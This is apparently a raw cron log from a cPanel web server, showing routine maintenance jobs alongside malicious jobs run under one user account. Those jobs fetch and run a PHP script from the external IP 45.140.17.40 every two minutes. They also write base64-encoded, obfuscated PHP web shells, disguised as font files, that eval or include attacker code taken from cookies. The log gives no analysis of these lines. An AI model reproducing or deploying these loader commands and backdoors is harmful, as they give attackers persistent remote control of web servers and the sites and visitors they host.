Sep  7 09:49:01 ip-184-168-122-23 CROND[3594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:50:01 ip-184-168-122-23 CROND[3715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:50:01 ip-184-168-122-23 CROND[3722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:50:01 ip-184-168-122-23 CROND[3721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:51:01 ip-184-168-122-23 CROND[3851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:51:01 ip-184-168-122-23 CROND[3853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:51:01 ip-184-168-122-23 CROND[3855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:51:01 ip-184-168-122-23 CROND[3856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:52:01 ip-184-168-122-23 CROND[4138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:52:01 ip-184-168-122-23 CROND[4139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:52:01 ip-184-168-122-23 CROND[4144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:52:01 ip-184-168-122-23 CROND[4140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:52:01 ip-184-168-122-23 CROND[4141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:53:01 ip-184-168-122-23 CROND[4249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:53:01 ip-184-168-122-23 CROND[4251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:53:01 ip-184-168-122-23 CROND[4252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:53:01 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:54:01 ip-184-168-122-23 CROND[4360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:54:01 ip-184-168-122-23 CROND[4365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:54:01 ip-184-168-122-23 CROND[4362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:54:01 ip-184-168-122-23 CROND[4364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:54:01 ip-184-168-122-23 CROND[4363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:55:01 ip-184-168-122-23 CROND[4498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:55:01 ip-184-168-122-23 CROND[4500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:55:01 ip-184-168-122-23 CROND[4502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:55:01 ip-184-168-122-23 CROND[4504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:55:01 ip-184-168-122-23 CROND[4501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:55:01 ip-184-168-122-23 CROND[4503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:56:01 ip-184-168-122-23 CROND[4636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:56:01 ip-184-168-122-23 CROND[4638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:56:01 ip-184-168-122-23 CROND[4639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:56:01 ip-184-168-122-23 CROND[4640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:56:01 ip-184-168-122-23 CROND[4641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:57:02 ip-184-168-122-23 CROND[4846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:57:02 ip-184-168-122-23 CROND[4847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:57:02 ip-184-168-122-23 CROND[4849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:57:02 ip-184-168-122-23 CROND[4848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:58:02 ip-184-168-122-23 CROND[4988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:58:02 ip-184-168-122-23 CROND[4990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:58:02 ip-184-168-122-23 CROND[4989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:58:02 ip-184-168-122-23 CROND[4991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:58:02 ip-184-168-122-23 CROND[4993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:59:01 ip-184-168-122-23 CROND[5096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:59:01 ip-184-168-122-23 CROND[5099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:59:01 ip-184-168-122-23 CROND[5097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:59:01 ip-184-168-122-23 CROND[5098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:00:01 ip-184-168-122-23 CROND[5215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5217]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:00:01 ip-184-168-122-23 CROND[5225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:00:01 ip-184-168-122-23 CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:01:01 ip-184-168-122-23 CROND[5356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:01:01 ip-184-168-122-23 CROND[5357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:01:01 ip-184-168-122-23 CROND[5355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:01:01 ip-184-168-122-23 CROND[5358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:01:01 ip-184-168-122-23 CROND[5359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:01:01 ip-184-168-122-23 CROND[5360]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 10:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5360]: starting 0anacron
